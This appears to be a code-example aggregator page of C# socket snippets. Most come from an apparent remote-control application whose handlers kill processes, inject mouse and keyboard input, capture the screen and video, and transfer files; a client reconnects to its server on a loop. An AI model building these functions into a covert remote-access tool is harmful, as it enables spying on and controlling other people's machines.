Exemplo n.º 1
0
 public void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PACKET_GET_PROCESSES_REQUEST)
     {
         var req = reqObj as RequestGetProcesses;
         new Thread(() => StartGetProcesses(session, req))
         {
             IsBackground = true
         }.Start();
     }
     else if (reqType == ePacketType.PACKET_KILL_PROCESS_REQUEST)
     {
         var req = reqObj as RequestKillProcesses;
         new Thread(() =>
         {
             StartKillProcesses(session, req);
             StartGetProcesses(session, new RequestGetProcesses()
             {
                 IsSimpleMode = true
             });
         })
         {
             IsBackground = true
         }.Start();
     }
 }
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            var req = reqObj as RequestMouseEvent;

            DoOutput(string.Format("button:{0},operation:{1},location:{2},{3}",
                                   req.MouseButton,
                                   req.MouseOperation,
                                   req.MouseLocation.X, req.MouseLocation.Y));

            if (req.MouseOperation == eMouseOperations.MouseDown)
            {
                MouseOpeUtil.MouseDown(req.MouseButton, req.MouseLocation);
            }
            else if (req.MouseOperation == eMouseOperations.MouseUp)
            {
                MouseOpeUtil.MouseUp(req.MouseButton, req.MouseLocation);
            }
            else if (req.MouseOperation == eMouseOperations.MousePress)
            {
                MouseOpeUtil.MousePress(req.MouseButton, req.MouseLocation);
            }
            else if (req.MouseOperation == eMouseOperations.MouseDoubleClick)
            {
                MouseOpeUtil.MouseDoubleClick(req.MouseButton, req.MouseLocation);
            }
            else if (req.MouseOperation == eMouseOperations.MouseMove)
            {
                MouseOpeUtil.MouseMove(req.MouseLocation);
            }
            else
            {
                return;
            }
        }
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            if (reqType == ePacketType.PACKET_START_DOWNLOAD_REQUEST)
            {
                // 开始
                RequestStartDownload req = reqObj as RequestStartDownload;
                if (_request == null)
                {
                    _request   = req;
                    _isRunning = true;

                    // 返回文件基本信息
                    ResponseStartDownloadHeader headerResp = new ResponseStartDownloadHeader();
                    using (var fs = System.IO.File.OpenRead(req.Path))
                    {
                        headerResp.FileSize = fs.Length;
                        headerResp.Path     = req.Path;
                        headerResp.SavePath = req.SavePath;
                    }
                    session.Send(ePacketType.PACKET_START_DOWNLOAD_HEADER_RESPONSE, headerResp);
                    // 开始返回文件内容
                    RunTaskThread(StartDownload, session);
                }
                else
                {
                    // 每次只能下载一个文件
                    return;
                }
            }
            else if (reqType == ePacketType.PACKET_STOP_DOWNLOAD_REQUEST)
            {
                // 停止
                _isRunning = false;
            }
        }
Exemplo n.º 4
0
 public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (OnFireQuit != null)
     {
         OnFireQuit(null, null);
     }
 }
Exemplo n.º 5
0
        public virtual NetStatistic GetStatisticInfo()
        {
            NetStatistic s = new NetStatistic();

            NetStatisticGroup gs = s.AddGroup("会话信息", false);

            gs.AddColumn("接收字节数", "BYTE");
            gs.AddColumn("发送字节数", "BYTE");
            gs.AddColumn("错误字节数", "BYTE");
            gs.AddColumn("活动时间", "TIME");
            gs.AddColumn("开始时间", "TIME");

            List <INetSession> sl = null;

            lock (SyncLocker)
            {
                sl = SessionList.Values.ToList();
            }
            foreach (INetSession session in sl)
            {
                SocketSession ss = session as SocketSession;
                if (ss != null)
                {
                    string           sn = string.Format("{0},{1}", session.SessionID, ss.EndPoint.ToString());
                    NetStatisticItem si = gs.AddItem(sn, ss.ReceivedBytes);
                    si.Value2 = ss.SendedBytes;
                    si.Value3 = ss.ErrorBytes;
                    si.Value4 = ss.ActiveTime.Ticks;
                    si.Value5 = ss.StartTime.Ticks;
                }
            }

            return(s);
        }
        private void StartDownload(SocketSession session)
        {
            FileStream fs = new FileStream(_request.Path, FileMode.Open, FileAccess.Read);

            byte[] buffer = new byte[2048];
            while (true)
            {
                if (!_isRunning)
                {
                    break;
                }
                int size = fs.Read(buffer, 0, buffer.Length);
                if (size < 1)
                {
                    break;
                }

                ResponseStartDownload resp = new ResponseStartDownload();
                resp.Data = new byte[size];
                for (int i = 0; i < size; i++)
                {
                    resp.Data[i] = buffer[i];
                }
                session.Send(ePacketType.PACKET_START_DOWNLOAD_RESPONSE, resp);
            }
            fs.Close();
            _request   = null;
            _isRunning = false;
        }
Exemplo n.º 7
0
        public override void Execute(SocketServer server, SocketSession session, SockectRequestMessage requestInfo)
        {
            PubishInformaction info = null;

            try
            {
                if (TryReadPubishInformaction(requestInfo, out info))
                {
                    var msgServer = (MessageServer)server;
                    msgServer.MessageAgent.Pubish(info);
                }
                else
                {
                    throw new MessageAgentException("未能正常解析推送数据!");
                }
            }
            catch (Exception ex)
            {
                if (info != null)
                {
                    session.Logger.Error(string.Format("推送失败,请查看推送信息是否完整!异常消息:{0}{1}推送主题:{2}推送内容:{3}", ex.Message, Environment.NewLine, info.Topic, info.Content), ex);
                }
                else
                {
                    session.Logger.Error(string.Format("推送失败,请查看推送信息是否完整!异常消息:{0}{1}推送信息为空!", ex.Message, Environment.NewLine), ex);
                }
            }
        }
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            switch (reqType)
            {
            case ePacketType.PACKET_CREATE_FILE_OR_DIR_REQUEST:
                Create(session, reqType, reqObj);
                break;

            case ePacketType.PACKET_DELETE_FILE_OR_DIR_REQUEST:
                Delete(session, reqType, reqObj);
                break;

            case ePacketType.PACKET_COPY_FILE_OR_DIR_REQUEST:
                Copy(session, reqType, reqObj);
                break;

            case ePacketType.PACKET_MOVE_FILE_OR_DIR_REQUEST:
                Move(session, reqType, reqObj);
                break;

            case ePacketType.PACKET_RENAME_FILE_REQUEST:
                Rename(session, reqType, reqObj);
                break;
            }
        }
Exemplo n.º 9
0
        static void StartGetProcesses(SocketSession session, RequestGetProcesses req)
        {
            ResponseGetProcesses resp = new ResponseGetProcesses();

            try
            {
                List <ProcessProperty> processes = null;
                if (req.IsSimpleMode)
                {
                    processes = ProcessUtil.GetProcessProperyListBySimple();
                }
                else
                {
                    processes = ProcessUtil.GetProcessProperyList();
                }
                resp.Processes = processes.OrderBy(s => s.ProcessName).ToList();
            }
            catch (Exception ex)
            {
                resp.Result  = false;
                resp.Message = ex.Message;
            }

            session.Send(ePacketType.PACKET_GET_PROCESSES_RESPONSE, resp);
        }
Exemplo n.º 10
0
 public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PACKET_START_UPLOAD_HEADER_REQUEST)
     {
         var req = reqObj as RequestStartUploadHeader;
         if (_fileUploadDic.ContainsKey(req.Id))
         {
             return;
         }
         FileStream fs = new FileStream(req.To, FileMode.Create, FileAccess.Write);
         _fileUploadDic.Add(req.Id, fs);
     }
     else if (reqType == ePacketType.PACKET_START_UPLOAD_RESPONSE)
     {
         var resp = reqObj as ResponseStartUpload;
         if (_fileUploadDic.ContainsKey(resp.Id))
         {
             FileStream fs = _fileUploadDic[resp.Id];
             fs.Write(resp.Data, 0, resp.Data.Length);
         }
     }
     else if (reqType == ePacketType.PACKET_STOP_UPLOAD_REQUEST)
     {
         var req = reqObj as RequestStopUpload;
         if (_fileUploadDic.ContainsKey(req.Id))
         {
             _fileUploadDic[req.Id].Close();
             _fileUploadDic[req.Id].Dispose();
             _fileUploadDic.Remove(req.Id);
         }
     }
 }
Exemplo n.º 11
0
        public override void Execute(SocketServer server, SocketSession session, SockectRequestMessage requestInfo)
        {
            try
            {
                SubscribeItem subscribeItem;
                if (requestInfo.TryReadFromJsonStream(out subscribeItem))
                {
                    var _MQMServer = (MQMServer)server;
                    _MQMServer.MessageQueueAgent.Subscribe(subscribeItem.PublisherId, subscribeItem);
                    var result = SocketResult <string> .Create(message : "订阅主题成功!");

                    session.SendObjectToJsonStream(RouteCode, result);
                }
            }
            catch (NotAuthenticationException)
            {
                var result = SocketResult <string> .Create(code : "500", message : "未经授权的操作!");

                session.SendObjectToJsonStream(RouteCode, result);
            }
            catch (Exception ex)
            {
                var result = SocketResult <string> .Create(code : "600", message : string.Format("订阅主题过程中发生无法预知错误,{0}!", ex.Message));

                session.SendObjectToJsonStream(RouteCode, result);
            }
        }
Exemplo n.º 12
0
        private void StartCaptureScreen(SocketSession session)
        {
            int sleepValue = 1000;
            int fpsValue   = 1;

            while (true)
            {
                if (!_isRunning)
                {
                    return;
                }
                fpsValue   = _request.fps;
                sleepValue = 1000 / fpsValue;
                for (int i = 0; i < fpsValue; i++)
                {
                    ResponseStartGetScreen resp = new ResponseStartGetScreen();
                    try
                    {
                        resp.SetImage(ScreenUtil.CaptureScreen2(), ImageFormat.Jpeg);
                    }
                    catch (Exception ex)
                    {
                        resp.Result  = false;
                        resp.Message = ex.Message;
                        resp.Detail  = ex.StackTrace;
                    }
                    session.Send(ePacketType.PACKET_START_CAPTURE_SCREEN_RESPONSE, resp);
                    Thread.Sleep(sleepValue);
                }
            }
        }
Exemplo n.º 13
0
 public void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PACKET_OPEN_CD_REQUEST)
     {
         try
         {
             Win32API.mciSendString("Set cdaudio door open wait", "", 0, IntPtr.Zero);//打开
         }
         catch (Exception ex)
         {
             Console.WriteLine(ex.Message);
         }
     }
     else if (reqType == ePacketType.PACKET_CLOSE_CD_REQUEST)
     {
         try
         {
             Win32API.mciSendString("Set cdaudio door Closed wait", "", 0, IntPtr.Zero);//关闭
         }
         catch (Exception ex)
         {
             Console.WriteLine(ex.Message);
         }
     }
 }
 public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
 {
     if (reqType == ePacketType.PACKET_START_CAPTURE_VIDEO_REQUEST)
     {
         // 开始捕获
         var req = reqObj as RequestStartCaptureVideo;
         if (_request == null)
         {
             // 第一次发送启动监控请求,则创建监控线程
             _request   = req;
             _isRunning = true;
             RunTaskThread(StartCapture, session);
         }
         else
         {
             // 非第一次发送启动监控请求,则修改相关参数
             _request.Fps = req.Fps;
         }
     }
     else if (reqType == ePacketType.PACKET_STOP_CAPTURE_VIDEO_REQUEST)
     {
         // 停止捕获
         _isRunning = false;
         _request   = null;
     }
 }
Exemplo n.º 15
0
        private void StartServerAccept(Socket server)
        {
            Thread serverAcceptThread = new Thread(() =>
            {
                string sessionId = server.LocalEndPoint.ToString();
                Socket client    = null;
                while (true)
                {
                    try
                    {
                        client = server.Accept();
                    }
                    catch (Exception ex)
                    {
                        Console.WriteLine("Serer Accept Error," + ex.Message);
                        // 监测服务是否已经关闭
                        if (!_oServerDic.ContainsKey(sessionId))
                        {
                            return;
                        }

                        continue;
                    }
                    // 创建会话对象
                    SocketSession session = new SocketSession(client.RemoteEndPoint, client);
                    DoClientConnected(session);
                    StartClientRecv(session);
                }
            });

            serverAcceptThread.Name         = serverAcceptThread + "->" + server.LocalEndPoint.ToString();
            serverAcceptThread.IsBackground = true;
            serverAcceptThread.Start();
        }
        private void Create(SocketSession session, ePacketType reqType, object reqObj)
        {
            var req  = reqObj as RequestCreateFileOrDir;
            var resp = new ResponseCreateFileOrDir();

            try
            {
                resp.Path     = req.Path;
                resp.PathType = req.PathType;
                if (req.PathType == ePathType.File)
                {
                    if (!System.IO.File.Exists(req.Path))
                    {
                        System.IO.File.Create(req.Path).Close();
                    }
                }
                else
                {
                    if (!System.IO.Directory.Exists(req.Path))
                    {
                        System.IO.Directory.CreateDirectory(req.Path);
                    }
                }
            }
            catch (Exception ex)
            {
                resp.Result  = false;
                resp.Message = ex.ToString();
                resp.Detail  = ex.StackTrace.ToString();
            }

            session.Send(ePacketType.PACKET_CREATE_FILE_OR_DIR_RESPONSE, resp);
        }
Exemplo n.º 17
0
        public IActionResult OnPost()
        {
            List <int>   items = new List <int>();
            StringValues sv;

            Request.Form.TryGetValue("item", out sv);
            foreach (string str in sv.ToArray())
            {
                items.Add(Int32.Parse(str));
            }
            Order o = new Order();

            o.comment = "";
            o.idTable = 1;
            o.id      = -1;
            o.receipt = "";
            o.status  = "PENDING";
            o.items   = items.ToArray();
            string        os = JsonConvert.SerializeObject(o);
            SocketSession ss = new SocketSession();

            ss.Send("SUBMITORDER|" + os);
            string r = ss.Receive();

            Console.WriteLine(r);
            Console.WriteLine(os);
            Response.Cookies.Delete("orderid");
            Response.Cookies.Append("orderid", r);
            Response.Cookies.Delete("cart");
            return(RedirectToPage("/Receipt"));
        }
Exemplo n.º 18
0
        static void StartConnect()
        {
            var paras    = ReadParameters();
            var handlers = InitHandlers();

            while (true)
            {
                try
                {
                    DoOutput("正在连接服务器...");
                    oServer = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp);
                    oServer.Connect(paras.GetIPEndPoint());
                    DoOutput("服务器连接成功!");

                    var oServerSession = new SocketSession(oServer.RemoteEndPoint.ToString(), oServer);
                    StartRecvData(oServerSession, handlers);
                    break;
                }
                catch (Exception ex)
                {
                    Console.WriteLine("连接服务器异常," + ex.Message);
                }
                Thread.Sleep(3000);
            }
        }
Exemplo n.º 19
0
        public bool AddRecord(SocketSession session, GpsInfo record)
        {
            GpsInfo rc = new GpsInfo(record);

            gpsCache.Enqueue(rc);
            return(true);
        }
Exemplo n.º 20
0
        public void OnGet()
        {
            SocketSession ss = new SocketSession();

            ss.Send("GETMENUITEMS");
            string r = ss.Receive();

            string[] rs = r.Split(new char[] { '|' });
            menuItems = new MenuItem[rs.Length];
            int j = 0;

            foreach (string ms in rs)
            {
                MenuItem m = JsonConvert.DeserializeObject <MenuItem>(ms);
                menuItems[j++] = m;
            }

            if (Request.Cookies.ContainsKey("cart"))
            {
                cartLogo = "/lib/img/cart.png";
            }
            else
            {
                cartLogo = "/lib/img/cart_gray.png";
            }
        }
Exemplo n.º 21
0
        public override void Execute(SocketServer server, SocketSession session, SockectRequestMessage requestInfo)
        {
            try
            {
                PublisherInformaction publisher;
                if (requestInfo.TryReadFromJsonStream(out publisher))
                {
                    var _MQMServer = (MQMServer)server;
                    if (_MQMServer.MessageQueueAgent.Authentication(new ClientIndetity()
                    {
                        IsWebSite = publisher.IsWebSite, PublisherId = publisher.PublisherId, SessionId = session.SessionID, WebSiteHost = publisher.WebSiteHost
                    }, publisher.MQMToken))
                    {
                        var result = SocketResult <string> .Create(message : "欢迎登录消息中间件!");

                        session.SendObjectToJsonStream(RouteCode, result);
                    }
                }
            }
            catch (NotAuthenticationException)
            {
                var result = SocketResult <string> .Create(code : "501", message : "授权登陆失败!");

                session.SendObjectToJsonStream(RouteCode, result);
            }
            catch (Exception ex)
            {
                var result = SocketResult <string> .Create(code : "600", message : string.Format("授权登陆过程中发生无法预知错误,{0}!", ex.Message));

                session.SendObjectToJsonStream(RouteCode, result);
            }
        }
Exemplo n.º 22
0
        [Test] public void SimpleStringIsRead()
        {
            var testSocket   = new TestSocket();
            var socketStream = new SocketSession(testSocket);

            testSocket.PutBytes(new byte[] { 104, 101, 108, 108, 111 });
            Assert.AreEqual("hello", socketStream.Read(5));
        }
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            string path   = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
            var    thread = ProcessUtil.Run(path, "/r", true);

            thread.Join();
            RemoteControlApplication.FireQuitEvent();
        }
Exemplo n.º 24
0
        [Test] public void StringIsWrittenWithLengthPrefix()
        {
            var testSocket   = new TestSocket();
            var socketStream = new SocketSession(testSocket);

            socketStream.Write("h\u2019llo", "{0}:");
            Assert.AreEqual(new byte[] { 55, 58, 104, 226, 128, 153, 108, 108, 111 }, testSocket.GetBytes());
        }
Exemplo n.º 25
0
        [Test] public void EncodedStringIsRead()
        {
            var testSocket   = new TestSocket();
            var socketStream = new SocketSession(testSocket);

            testSocket.PutBytes(new byte[] { 104, 226, 128, 153, 108, 108, 111 });
            Assert.AreEqual("h\u2019llo", socketStream.Read(7));
        }
Exemplo n.º 26
0
        [Test] public void SimpleStringIsWritten()
        {
            var testSocket   = new TestSocket();
            var socketStream = new SocketSession(testSocket);

            socketStream.Write("hello");
            Assert.AreEqual(new byte[] { 104, 101, 108, 108, 111 }, testSocket.GetBytes());
        }
Exemplo n.º 27
0
        public void Start(string ip)
        {
            m_rawsock.Bind(new IPEndPoint(IPAddress.Parse(ip), 0));
            SetSocketOpt();

            SocketSession ss = new SocketSession(m_rawsock, BUFFER_SIZE);
            m_rawsock.BeginReceive(ss.Buffer, 0, BUFFER_SIZE, SocketFlags.None, m_ReceivedData, ss);
        }
        public override void Handle(SocketSession session, ePacketType reqType, object reqObj)
        {
            var req = reqObj as RequestKeyboardEvent;

            DoOutput(string.Format("keyCode:{0},keyValue:{1},keyOperation:{2}",
                                   req.KeyCode, req.KeyValue, req.KeyOperation));
            KeyboardOpeUtil.KeyOpe(req.KeyCode, req.KeyOperation);
        }
Exemplo n.º 29
0
        private bool InternalTrySend(IList<ArraySegment<byte>> segments)
        {
            if (!SocketSession.TrySend(segments))
                return false;

            LastActiveTime = DateTime.Now;
            return true;
        }
Exemplo n.º 30
0
 private void DoClientConnected(SocketSession session)
 {
     _oClientDic.Add(session.SocketId, session.SocketObj);
     if (ClientConnected != null)
     {
         ClientConnectedEventArgs args = new ClientConnectedEventArgs(session);
         ClientConnected(this, args);
     }
 }
Exemplo n.º 31
0
        [Test] public void StringIsReadInMultipleParts()
        {
            var testSocket   = new TestSocket();
            var socketStream = new SocketSession(testSocket);

            testSocket.PutBytes(new byte[] { 104, 101, 108, 108, 111 });
            testSocket.PutBytes(new byte[] { 32, 119, 111, 114, 108, 100 });
            Assert.AreEqual("hello world", socketStream.Read(11));
        }
        public static void Show(GameRoomItem item, SocketSession session)
        {
            GameRoomInfoDialog info = new GameRoomInfoDialog
            {
                UserSession = session,
                Title = item.DisplayName,
                Members = item.Members,
                Logo = "http://forums.pointgaming.com/assets/logo-3b643498dc7635d6ce4598843b5fcf0e.png",
                URL = item.URL
            };

            System.ComponentModel.ICollectionView mv = CollectionViewSource.GetDefaultView(info.Members);
            mv.GroupDescriptions.Add(new PropertyGroupDescription("TeamName"));
            info.listBoxMembership.DataContext = mv;

            info.ShowDialog();
        }
Exemplo n.º 33
0
 private void OnReceive(IAsyncResult ar)
 {
     SocketSession ss = (SocketSession)ar.AsyncState;
     ss.DataLength = ss.Socket.EndReceive(ar);
     if (ss.DataLength == 0)
     {
         m_Provider.OnDropConnection();
         ss.Socket.Shutdown(SocketShutdown.Both);
         ss.Socket.Close();
         return;
     }
     m_Provider.OnReceiveData(ss);
     if (!m_disposed)
     {
         SocketSession ssnew = new SocketSession(m_rawsock, BUFFER_SIZE);
         m_rawsock.BeginReceive(ssnew.Buffer, 0, BUFFER_SIZE, SocketFlags.None, m_ReceivedData, ssnew);
     }
 }
        public UserDataManager(SocketSession session)
        {
            UserData = this;
            Settings = PointGaming.Settings.SettingsUser.Load(session.User.username);
            PgSession = session;
            User = GetPgUser(session.User);
            User.Status = "online";
            _sessionManager = new SessionManager();
            Friendship = new FriendshipManager(PgSession);
            Voip = new VoipSession(this);
            Voip.Enable();

            timer = new DispatcherTimer();
            timer.Interval = TimeSpan.FromSeconds(5);
            timer.Tick += new EventHandler(CheckIdle);
            timer.Start();
        }
        private void Window_Loaded(object sender, RoutedEventArgs e)
        {
            SocketSession = new SocketSession();
            SocketSession.SetThreadQueuerForCurrentThread(UIExtensionMethods.BeginInvokeUI);

            if (App.Settings.UpdateAutomatic)
                CheckForUpdate();
            else
                UseRememberedLogin();
        }
 public FriendshipManager(SocketSession session)
 {
     _pgSession = session;
 }